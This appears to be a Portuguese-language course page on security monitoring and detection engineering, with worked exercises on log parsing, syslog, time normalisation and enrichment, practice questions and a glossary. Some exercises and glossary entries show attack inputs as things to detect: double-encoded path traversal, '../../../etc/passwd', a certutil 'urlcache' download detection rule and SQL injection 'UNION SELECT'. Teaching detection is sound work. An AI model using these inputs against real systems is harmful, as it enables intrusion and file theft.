Principais conclusões
- Faça ajustes a partir das causas registradas, não apenas da contagem de alertas.
- Restrinja exclusões por comportamento, entidade, contexto e tempo.
- Compare a precisão e as detecções mantidas antes e depois das alterações.
- Execute novamente testes positivos e de limite após o ajuste fino.
- Monitore o estado operacional dos dados junto com métricas de alertas e cobertura.
- Revise exceções e retire regras quando sua finalidade deixar de existir.
Exercícios resolvidos de Monitoramento de segurança
1Prepare uma trilha confiável de registros de eventos
17 passos
- 1IntroduçãoComece com uma pergunta de segurança
Um alerta de proxy informa um endereço interno que baixou um executável. Antes de avaliar o download, você precisa saber qual dispositivo usava o endereço, o que foi executado nele e se os eventos relevantes chegaram intactos.
Acompanhe a evidência da fonte até um registro pesquisável e contextualizado: extraia campos das entradas brutas, confirme a entrega, torne comparáveis os nomes dos campos e acrescente contexto por meio do enriquecimento. Cada decisão determina o que a investigação posterior pode estabelecer.
- 2ExplicaçãoEscolha visões complementares
O proxy mostra a requisição e o destino. O DHCP identifica o dispositivo que usava o endereço interno durante a requisição. Eventos de processos do host mostram o que foi executado.
Essas fontes respondem a perguntas diferentes. Um registro de fluxo pode acrescentar horários e totais de bytes para tráfego criptografado, mas a ausência do conteúdo transportado deixa sem resposta qual conteúdo foi baixado.
- 3ExemploIdentifique o dispositivo naquele momento
O download registrado pelo proxy ocorre às 14:02 UTC a partir de
10.20.30.45. Uma concessão DHCP atribui esse endereço aLAPTOP-0193das 13:30 às 21:30 daquele dia.Use esse laptop como ponto de partida para o pivoteamento no host. Consultar a concessão atual pode indicar outro dispositivo após uma reatribuição, mesmo que o endereço continue igual.
- 4DesafioEscolha evidências de execução
O endereço agora está associado a um laptop. Qual fonte responderia se um programa foi executado após o download?
---reveal---
Use a criação de processos ou a telemetria de EDR nesse laptop. O
4688do Windows precisa de auditoria adequada e captura de linha de comando; o1do Sysmon fornece outra visão dos processos. A requisição no proxy, sozinha, estabelece uma requisição de download, não a execução local. - 5ExplicaçãoLeia os campos antes de tirar conclusões
Uma entrada bruta precisa ser dividida nos campos necessários à pesquisa. Em JSON, use chaves nomeadas mesmo que sua ordem mude. Em eventos do Windows, leia os campos específicos do evento junto com provedor, ID do evento, horário e computador.
Para
4625, usuário, origem, tipo de logon e motivo da falha explicam muito mais que a expressão “falha ao fazer logon” isolada. - 6ExemploExtraia o nome de usuário SSH
Na linha
Failed password for invalid user admin from 203.0.113.45 port 52114, o nome de usuário éadmin.O fragmento de expressão regular
(?:invalid user )?(\S+)torna o prefixo opcional e captura o nome de usuário sem espaços que vem depois. Sem essa distinção, uma captura simples de palavra após “for” poderia retornarinvalid. Mantenha amostras brutas das duas formas de mensagem ao testar o analisador. - 7DesafioInterprete a severidade da fonte
Uma mensagem começa com
<38>. Sua severidade Informativo justifica ignorar uma falha de entrada?---reveal---
Não. Dividir 38 por 8 fornece categoria de origem 4 e resto de severidade 6, Informativo. O programa emissor classifica o evento, mas um analista ainda pode conectar essa falha a um ataque a senhas. A severidade da fonte não substitui o padrão de segurança.
- 8ExplicaçãoMantenha a entrega funcionando
Um agente pode armazenar dados temporariamente enquanto um coletor está indisponível. Caminhos sem agente, como encaminhamento e exportações da nuvem, também precisam de verificações do estado operacional.
Syslog sobre UDP em
514não fornece confirmação de entrega nem criptografia. TCP melhora a confiabilidade da entrega; TLS em6514acrescenta criptografia e autenticação do servidor. Proteja o transporte em redes não confiáveis e monitore o crescimento do acúmulo em filas. - 9ExemploColoque os relógios na mesma linha do tempo
O firewall grava
2026-03-14 10:15:00 +02:00; o servidor grava2026-03-14T08:15:00Z. Eles se referem ao mesmo instante. Converta as diferenças de fuso antes de ordenar.Depois diferencie a marca temporal do evento do recebimento pela plataforma. Um evento que chega atrasado ainda pode pertencer a um ponto anterior da sequência; um relógio de origem sincronizado ajuda a preservar essa ordem.
- 10ExemploEstime o volume bruto
Para 2.000 endpoints, multiplique 5.000 eventos por host a cada dia por 500 bytes por evento. Isso representa 2.500.000 bytes por endpoint por dia.
Em todo o conjunto, são 5.000.000.000 bytes, ou 5 GB/dia em unidades decimais. Noventa dias representam 450 GB antes da compressão, da indexação e de outros efeitos do armazenamento. As escolhas de retenção e detalhamento têm custo direto de armazenamento.
- 11DesafioInvestigue evidências ausentes
Um controlador de domínio que normalmente envia eventos a cada minuto não envia nada há 30 minutos. Nenhum alerta de ataque disparou. O que precisa de atenção?
---reveal---
Verifique o estado operacional da coleta: host, agente, transporte, coletor, filas e caminho de análise. O silêncio pode refletir falha ou registro de eventos desabilitado. Uma fila de alertas tranquila não pode estabelecer atividade normal quando a fonte subjacente está ausente.
- 12ExplicaçãoTorne comparáveis campos equivalentes
O Windows chama um endereço de
IpAddress, um firewall pode chamá-lo desrce o CloudTrail usasourceIPAddress. Normalize-os parasource.ipsomente quando cada um significar a origem da ação.Padronize também tipos, resultados, identidades e horário em UTC. Um nome de campo comum com significado errado pode conectar entidades erradas, assim como nomes inconsistentes podem impedir uma conexão.
- 13ExemploAcrescente a função por trás da conta
Falhas repetidas para
svc-backupparecem diferentes depois que o enriquecimento identifica a origem como um laptop de marketing. A conta normalmente entra apenas pelo servidor de backup.A função do ativo e a função da identidade expõem uma relação inesperada. Uma contagem de falhas isolada não mostraria por que essa combinação de origem e conta merece investigação.
- 14DesafioVerifique quando o contexto era válido
Um evento antigo é enriquecido com o responsável atual por um dispositivo. O dispositivo mudou de responsável após o evento. O que deve ser verificado?
---reveal---
Use o histórico de responsabilidade válido no horário do evento. O enriquecimento no momento da pesquisa pode mostrar o estado atual; o enriquecimento na ingestão preserva o contexto disponível na chegada. Saber qual forma você está vendo impede que uma atribuição posterior seja confundida com a responsabilidade no passado.
- 15DicaProteja o registro central
Encaminhe rapidamente os registros para fora dos hosts e restrinja quem pode lê-los, alterá-los ou excluí-los. Armazenamento imutável ou resumos criptográficos podem proteger a integridade.
Monitore o próprio monitoramento:
1102do Windows, alterações da política de auditoria ou açõesStopLoggingna nuvem podem explicar a perda de visibilidade. Defina também o prazo de retenção deliberadamente para que atividades mais antigas continuem disponíveis quando uma investigação começar. - 16DesafioCorrija o fluxo antes do ajuste fino
Uma nova regra entre fontes atribui ao servidor de destino o início de conexões. As entradas brutas estão corretas, mas o campo comum de origem contém o destino. O limiar deve ser elevado?
---reveal---
Corrija o mapeamento do campo e processe novamente amostras pelo fluxo. Elevar o limiar esconderia parte da saída sem restaurar a atribuição correta. A regra depende de que os dados preparados preservem o significado do evento bruto.
- 17RecapitulaçãoVerifique o fluxo antes de confiar em uma regra
Antes de usar uma detecção operacionalmente, verifique um caminho completo da evidência: a atividade necessária é registrada, a entrega é monitorada, as marcas temporais estão alinhadas, os campos correspondem ao evento bruto e o contexto é adequado ao horário do evento.
Salve amostras representativas para futuras alterações no analisador. Elas dão ao próximo revisor algo concreto para comparar quando a saída mudar inesperadamente.
2Conecte pistas de rede à atividade de host e web
15 passos
Salve esta aula para seguir cada Lição Interativa passo a passo.
- 1IntroduçãoProcure ações relacionadas
- 2ExplicaçãoLeia a direção da varredura
- 3ExemploMeça o contato regular
- 4ExplicaçãoInterprete DNS incomum
- 5DesafioTeste a explicação da transferência
- 6ExemploLeia uma relação entre processos
- 7ExemploDecodifique o que o interpretador faz
- 8ExemploEncontre a etapa de persistência
- 9DesafioEscolha a conclusão fundamentada
- 10ExemploRevele o texto da requisição
- 11ExemploAcompanhe a descoberta até uma requisição posterior
- 12DesafioVerifique o significado da resposta
- 13ConexãoConecte uma requisição web à execução
- 14DesafioEvite ser induzido ao erro por endereços compartilhados
- 15RecapitulaçãoInforme o que cada fonte estabeleceu
3Acompanhe o acesso até alterações na nuvem e de privilégios
16 passos
Salve esta aula para seguir cada Lição Interativa passo a passo.
- 1IntroduçãoAcompanhe a identidade por suas ações
- 2ExplicaçãoEscolha a camada da nuvem
- 3ExemploLeia a primeira chamada inesperada
- 4ExemploAcompanhe a enumeração até a manutenção do acesso
- 5DesafioDiferencie dois tipos de evidência ausente
- 6ExplicaçãoEscolha a visão de autenticação
- 7ExemploReconheça a abrangência de uma pulverização
- 8ExemploInvestigue o sucesso separadamente
- 9DesafioInterprete o alerta de viagem
- 10Ideia-chaveVá além da indicação de autenticação multifator
- 11ExplicaçãoIdentifique quem alterou o quê
- 12ExemploAcompanhe a cadeia de privilégios
- 13DesafioEncontre acessos que persistem após uma troca de senha
- 14DicaEvite ruído de privilégios rotineiros
- 15DesafioConecte atividades sem afirmar além das evidências
- 16RecapitulaçãoMantenha uma lista de verificação de alterações de acesso
4Construa uma linha de base e uma regra de correlação
13 passos
Salve esta aula para seguir cada Lição Interativa passo a passo.
- 1IntroduçãoEscolha por que a atividade deve se destacar
- 2ExplicaçãoConstrua a referência adequada
- 3ExemploMeça o desvio do servidor
- 4DicaVerifique a distribuição
- 5DesafioInterprete uma pontuação de risco acumulada
- 6ExplicaçãoEspecifique o requisito da sequência
- 7ExemploConte e conecte os eventos do exemplo
- 8ExplicaçãoVerifique o limite da janela
- 9DesafioCorrija uma falha causada pelo limite
- 10DicaInclua registros tardios na contagem
- 11ExplicaçãoExamine tentativas distribuídas
- 12DesafioCombine verificações da linha de base e da regra
- 13RecapitulaçãoMantenha uma especificação concisa da regra
5Transforme um alerta em uma decisão documentada
14 passos
Salve esta aula para seguir cada Lição Interativa passo a passo.
- 1IntroduçãoBusque uma próxima ação justificada
- 2ExplicaçãoSepare correspondências corretas de alertas úteis
- 3ExemploMeça a precisão dos alertas maliciosos
- 4DesafioDefina a ordem de tratamento
- 5ExemploEntenda e valide a pulverização
- 6ExemploDetermine o escopo da sessão bem-sucedida
- 7DesafioTorne o escalonamento útil
- 8ExplicaçãoPesquise primeiro um recorte direcionado
- 9ExemploDecodifique um comando para exame
- 10DesafioMantenha contato e execução separados
- 11DicaUse contexto externo e de IA com cuidado
- 12DesafioEncerre somente com um motivo fundamentado
- 13DicaDefina um limite de tempo para o trabalho restante
- 14RecapitulaçãoDeixe um registro de decisão reproduzível
6Construa, teste e ajuste uma detecção
12 passos
Salve esta aula para seguir cada Lição Interativa passo a passo.
- 1IntroduçãoTrate a detecção como um trabalho contínuo
- 2ExplicaçãoVerifique os dados necessários
- 3ExemploLeia as seleções de imagem e comando
- 4DesafioTeste o que a regra deixa passar
- 5DicaTeste variantes e trabalho normal
- 6ConexãoPrepare o analista e o responsável
- 7ExplicaçãoEscolha uma exceção para a causa real
- 8ExemploMeça antes e depois
- 9DesafioVerifique o custo de uma alteração de limiar
- 10ExplicaçãoMonitore regras e suas entradas
- 11DesafioExplique uma regra inesperadamente silenciosa
- 12RecapitulaçãoRevise uma alteração com evidências
Questões de Monitoramento de segurança
Conjunto 1: Interprete padrões de rede, host e web10 Questões de Prática
Questão 1 de 10
Mostrar respostaOcultar resposta
Questão 2 de 10
Mostrar respostaOcultar resposta
Questão 3 de 10
%252e%252e%252fsettings. Qual fragmento de caminho aparece após duas passagens de decodificação de URL?Mostrar respostaOcultar resposta
%25 em um sinal de porcentagem, produzindo %2e%2e%2fsettings. A segunda decodifica os pontos e a barra para ../settings. Parar após uma passagem deixa o fragmento de travessia escondido atrás de outra camada de codificação.Questão 4 de 10
Mostrar respostaOcultar resposta
Questão 5 de 10
Mostrar respostaOcultar resposta
Questão 6 de 10
Mostrar respostaOcultar resposta
Questão 7 de 10
Mostrar respostaOcultar resposta
Questão 8 de 10
svchost.exe, mas é executado de uma pasta de downloads de usuário. Quais evidências devem determinar sua identidade e seu uso?Mostrar respostaOcultar resposta
Questão 9 de 10
Mostrar respostaOcultar resposta
Questão 10 de 10
Mostrar respostaOcultar resposta
Conjunto 2: Escolha e prepare as evidências10 Questões de Prática
Salve esta aula para ver todas as respostas e praticar cada conjunto.
Questão 1 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 2 de 10
<45>. Qual categoria de origem e severidade estão codificadas nesse valor?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 3 de 10
2026-08-18 19:25:00 +03:00; o SIEM o recebe em 2026-08-18T16:29:00Z. Qual é o atraso de ingestão?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 4 de 10
dst para source.ip. Uma regra agrupada por origem agora identifica o servidor que está sendo varrido como o scanner. Qual correção trata a causa?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 5 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 6 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 7 de 10
Failed password for root from 203.0.113.61, mas captura invalid como usuário em Failed password for invalid user guest from 203.0.113.61. Qual alteração preserva o nome de usuário pretendido?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 8 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 9 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 10 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Conjunto 3: Acompanhe identidades na nuvem e alterações de acesso10 Questões de Prática
Salve esta aula para ver todas as respostas e praticar cada conjunto.
Questão 1 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 2 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 3 de 10
help-7 criando uma chave de acesso para svc-export. Qual identidade deve ser relacionada às entradas anteriores como identidade executora?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 4 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 5 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 6 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 7 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 8 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 9 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 10 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Conjunto 4: Estabeleça linhas de base e regras de correlação10 Questões de Prática
Salve esta aula para ver todas as respostas e praticar cada conjunto.
Questão 1 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 2 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 3 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 4 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 5 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 6 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 7 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 8 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 9 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 10 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Conjunto 5: Faça a triagem de alertas e determine o escopo das evidências10 Questões de Prática
Salve esta aula para ver todas as respostas e praticar cada conjunto.
Questão 1 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 2 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 3 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 4 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 5 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 6 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 7 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 8 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 9 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 10 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Conjunto 6: Projete e mantenha detecções úteis10 Questões de Prática
Salve esta aula para ver todas as respostas e praticar cada conjunto.
Questão 1 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 2 de 10
CommandLine|contains|all com alpha e beta. Qual conteúdo de linha de comando corresponde a essa seleção?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 3 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 4 de 10
certutil.exe E texto de comando que contenha tanto “urlcache” quanto “http”. Ela exclui eventos somente quando AMBOS user="svc-deploy" e host="BUILD-02". A tem os dois fragmentos, svc-deploy, BUILD-02. B tem os dois fragmentos, svc-deploy, WS-31. C tem apenas “urlcache”, patel, WS-31. Os três usam certutil. Quais eventos correspondem?Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 5 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 6 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 7 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 8 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 9 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Questão 10 de 10
Mostrar respostaOcultar resposta
Salve esta aula para ver esta resposta.
Travou em uma questão sua? Ajuda com Tarefas
Termos-Chave
A
Adulteração do monitoramento
Agregação
Ajuste fino
Alerta
Algoritmo de geração de domínios
Alvo
Análise do comportamento de usuários e entidades (UEBA)
Análise sintática e extração de campos (parsing)
Anomalia
Armazenamento imutável
Associação a grupos aninhados
Ataque de força bruta
B
Base64
Binário legítimo do sistema usado em ataques (LOLBin)
C
Categoria de origem (facility)
<38> por oito fornece categoria de origem 4 com resto de severidade 6.Chave de agrupamento
Codificação de URL
%27 revela um apóstrofo dentro de um parâmetro de consulta semelhante a uma injeção.Coleta baseada em agente
Comunicação recorrente de comando e controle (beaconing)
Concessão de consentimento OAuth
Concessão DHCP
Consulta de reputação
Contagem de valores distintos
Correlação
D
Deduplicação
Desvio do relógio
Desvio padrão
Detecção e resposta em endpoints (EDR)
Detecções como código
Determinação do escopo
E
Engenharia de detecção
Enriquecimento
Entidade de serviço (service principal)
Entropia de Shannon
Escore z
Esquema de dados
source.ip como endereço para que uma consulta possa verificar se ele pertence a uma sub-rede interna.Evento
Exclusão
Exercício conjunto de equipes ofensivas e defensivas (purple team)
Exfiltração de dados
Expressão regular
F
Fadiga de alertas
Fadiga de autenticação multifator
Falso negativo
Falso positivo
Formato comum de eventos (CEF)
G
Geração de alertas baseada em risco
Gerenciamento de informações e eventos de segurança (SIEM)
Grupo de pares
H
Horário de ingestão
Horário do evento
I
Identidade executora
Identificador de recurso
Incidente
Indicador de comprometimento
Injeção de prompt
Injeção de SQL
UNION SELECT em um parâmetro de URL levam o analista a examinar eventos de auditoria do banco de dados.J
Janela deslizante
L
Linha de base
Linha do tempo
M
Mapeamento para o ATT&CK
Modelo de responsabilidade compartilhada
Monitoramento da integridade de arquivos
Movimentação lateral
N
Navegação forçada (forced browsing)
404 para caminhos de administração e backup sugere descoberta automatizada de recursos.Normalização
event.outcome=failure no esquema comum.P
Percentil
Persistência
Pivoteamento investigativo (pivoting)
Plano de controle
Plano de dados
Prazo de retenção
Precisão
Preenchimento de credenciais (credential stuffing)
Prioridade
Procedimento operacional (runbook)
Processo pai
Provedor de identidade
Pulverização de senhas (password spraying)
R
Registro de auditoria da aplicação
Registro de auditoria da nuvem
Registro de blocos de script
4104 ajuda o analista a ler o script associado a uma inicialização codificada do PowerShell.Registro de eventos (log)
Registro de fluxo de rede
Regra de detecção de ausência
Revocação (recall)
S
Seleção
Severidade
Shell web
Sigma
Sinal periódico de atividade (heartbeat)
Syslog
T
Taxa de base
Tempo médio de detecção
Teste de regressão
Tipo de logon
10 identifica acesso interativo remoto, enquanto o tipo 3 identifica acesso de rede.Transferência de atendimento no escalonamento
Travessia de diretórios (path traversal)
../../../etc/passwd, que indica uma tentativa de escapar do caminho web.Triagem
Tunelamento DNS
V
Variação dos intervalos de comunicação (jitter)
Varredura horizontal
Varredura vertical
Verdadeiro positivo
Verdadeiro positivo benigno
Viagem impossível
Sobre esta aula
Crie seus próprios Materiais de Estudo
Transforme suas anotações, slides e documentos em Guias de Estudo, Questões de Prática, Flashcards e mais 6 ferramentas.